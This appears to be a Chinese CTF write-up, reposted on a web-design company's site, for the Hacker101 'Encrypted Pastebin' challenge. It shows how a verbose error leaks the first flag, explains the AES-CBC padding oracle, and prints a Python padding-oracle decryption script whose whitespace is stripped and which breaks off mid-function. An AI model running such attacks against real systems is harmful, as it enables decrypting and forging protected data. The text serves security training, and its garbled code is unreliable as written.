十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Encrypted Pastebin

Encrypted Pastebin Encrypted Pastebin题目描述来源:Hacker101 CTF难度:HardFlag 数量:4 个涉及技能:Web、密码学Encrypted Pastebin 融合了 Web 和密码学知识,核心是AES-CBC 填充预言机(Padding Oracle)漏洞。通过触发并利用不同的错误反馈,可以解密数据、加密任意 payload,并进一步结合 SQL 注入漏洞,最终获取全部 4 个 Flag。总览与关键信息项目说明难度Hard涉及技能Web、密码学Flag 数量4 个核心漏洞AES-CBC Padding Oracle + SQL 注入Flag 1:直接由错误信息泄露操作步骤直接访问网站,在post参数中传入一个无效值:https://instance.ctf.hacker101.com/?post=1结果服务器返回详细的报错信息和Flag 1。报错信息同时揭示重要系统内部逻辑:数据经过自定义 Base64 编码(替换了~,!,-字符)解密后的结果是 JSON 格式返回示例^FLAG^第一个Flag$FLAG$ 错误信息:...Flag 2:利用 Padding Oracle 解密数据漏洞原理服务端在处理密文后,会返回不同的错误信息:PaddingExceptionValueError: Input strings must be a multiple of 16 in length通过观察这些错误反馈,攻击者可以判断篡改后的密文块解密后填充是否正确,从而在不掌握密钥的情况下逐字节恢复明文。操作步骤1. 获取 post 参数密文访问页面后,URL 中的post参数包含加密数据:https://instance.ctf.hacker101.com/?post=xxx...xxx2. 编写 Padding Oracle 攻击脚本importbase64importasyncioimportaiohttp URL='https://537273937fddcd9db85bb95e7ab54e79.ctf.hacker101.com/'POST='1QFB3wW4nVPx1CgFQvj9DioXKOJsupyvwBjzizL7q9svFy9came1LtzlcejEVXwVeQYTPEEZXXDwO3uCgS3SJQRQASOvbuCPwyi-HBiJ9ik67DjOD1xxasuUsWUyZX-P4MglTdMHXqn2EdNmLd!ZMk6!c7A5guyRgNYFHVYMemvHfBwZspkn0MDXn2XXazq-Uar2ZQNnqx8!QlN9JHuc6g~~'BLOCKSIZE=16defdecode(data):returnbase64.b64decode(data.replace('~','=').replace('!','/').replace('-','+'))defencode(data):returnbase64.b64encode(data).decode('utf-8').replace('=','~').replace('/','!').replace('+','-')defxor(a,b):returnbytes([x^yforx,yinzip(a,b)])asyncdefrequest(session,url,iv,block):ct=encode(bytes(iv)+block)asyncwithsession.get(url,params={'post':ct})asresp:returnawaitresp.text()asyncdefhas_valid_padding(session,url,iv,block):text=awaitrequest(session,url,iv,block)return'PaddingException'notintextasyncdefdecrypt_block(session,url,iv_block,data_block):intermediate=bytearray(BLOCKSIZE)iv=bytearray(BLOCKSIZE)forbyte_indexinrange(BLOCKSIZE):padding_size=byte_index+1# 把已找到的位设置成当前 padding 值forkinrange(byte_index):iv[-k-1]=intermediate[-k-1]^padding_size# 随机化未找到的位,避免 false positiveimportosforkinrange(byte_index,BLOCKSIZE):ifk!=padding_size-1:iv[-k-1]=os.urandom(1)[0]found=Noneforcandidateinrange(256):iv[-padding_size]=candidateifawaithas_valid_padding(session,url,iv,data_block):# 验证:改变前一个已知字节,看 padding 是否失败ifbyte_index0:iv[-1]^=0xFF# 翻转最后一个已解出的字节still_valid=awaithas_valid_padding(session,url,iv,data_block)iv[-1]^=0xFF# 恢复ifstill_valid:continue# false positive,继续找found=candidatebreakiffoundisNone:raiseRuntimeError(f'Byte{byte_index}failed')intermediate[-padding_size]=found^padding_sizeprint(f'[+] byte{byte_index}: 0x{found:02x}')returnxor(iv_block,intermediate)asyncdefmain():data=decode(POST)blocks=[data[i:i+BLOCKSIZE]foriinrange(0,len(data),BLOCKSIZE)]plaintext=b''async
返回列表